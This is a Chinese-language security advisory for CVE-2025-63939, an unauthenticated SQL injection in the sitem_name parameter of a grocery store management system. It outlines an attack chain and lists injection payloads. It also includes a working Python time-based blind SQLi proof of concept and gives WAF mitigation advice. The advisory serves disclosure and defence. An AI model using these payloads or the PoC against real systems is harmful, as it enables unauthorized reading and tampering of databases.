IPBUF安全漏洞报告
English
CVE-2025-63939 CVSS 9.8 严重

CVE-2025-63939:Grocery Store Management System SQL注入漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2025-63939
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
anirudhkannan Grocery Store Management System

相关标签

SQL注入Grocery Store Management SystemWeb安全无需认证严重漏洞

漏洞概述

该漏洞存在于 anirudhkannan Grocery Store Management System 1.0 版本中。由于 /Grocery/search_products_itname.php 文件对 sitem_name POST 参数缺乏适当的输入验证,导致存在 SQL 注入漏洞。未经身份验证的远程攻击者可利用此漏洞执行恶意 SQL 语句,从而获取敏感数据库信息、篡改数据或破坏系统可用性,风险极高。

技术细节

该漏洞的根本原因在于应用程序未能对用户输入进行有效的过滤或使用参数化查询机制。在 /Grocery/search_products_itname.php 接口处理逻辑中,sitem_name POST 参数被直接拼接到后端 SQL 查询语句中执行。攻击者可以通过发送特制的 HTTP POST 请求,在参数中注入恶意的 SQL 语法(例如 ' OR '1'='1、UNION SELECT 等)。鉴于 CVSS 向量显示无需用户交互且无需权限(PR:N),攻击者可从互联网任意位置发起攻击。利用成功后,攻击者不仅能绕过前端认证,还能读取数据库中的敏感信息(如用户凭证、订单记录),甚至通过写入恶意数据或执行破坏性命令(如 DROP TABLE)来完全控制数据库服务,对机密性、完整性和可用性造成极高影响。

攻击链分析

STEP 1
侦察
攻击者识别出目标运行的是 anirudhkannan Grocery Store Management System 1.0,并定位到 /Grocery/search_products_itname.php 接口。
STEP 2
武器化
攻击者构造针对 sitem_name POST 参数的恶意 SQL 注入 Payload(如布尔盲注或时间盲注语句)。
STEP 3
投递
攻击者向目标服务器发送特制的 HTTP POST 请求,将 Payload 注入到 sitem_name 参数中。
STEP 4
利用
后端服务器未过滤输入,直接将 Payload 拼接到 SQL 语句中执行,导致数据库响应攻击者的查询指令。
STEP 5
影响
攻击者成功提取敏感数据(如账号密码)、篡改数据库内容或导致数据库服务拒绝响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli_vuln(target_url): """ PoC for CVE-2025-63939 SQL Injection Vulnerability Target: anirudhkannan Grocery Store Management System 1.0 Parameter: sitem_name (POST) """ vuln_path = "/Grocery/search_products_itname.php" full_url = f"{target_url}{vuln_path}" # Time-based blind SQL injection payload # If the database sleeps for 5 seconds, the vulnerability is confirmed. payload = "1' AND SLEEP(5)-- -" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } data = { "sitem_name": payload } try: print(f"[+] Sending request to {full_url}...") response = requests.post(full_url, data=data, headers=headers, timeout=10) # Check if the response time indicates a delay (SQL execution) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed! The application responded with a delay.") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not detected or payload failed.") print(f"[-] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target URL check_sqli_vuln(target)

影响范围

anirudhkannan Grocery Store Management System 1.0

防御指南

临时缓解措施
建议立即在 Web 应用防火墙(WAF)或应用网关层面部署规则,拦截针对 /Grocery/search_products_itname.php 接口的异常 POST 请求,特别是包含单引号、SQL 注释符(--, #)以及特定 SQL 关键字(UNION, SELECT, OR, AND)的输入。同时,在未修复前,应严格限制对该管理系统的公网访问权限,仅允许受信任的内部 IP 地址进行连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表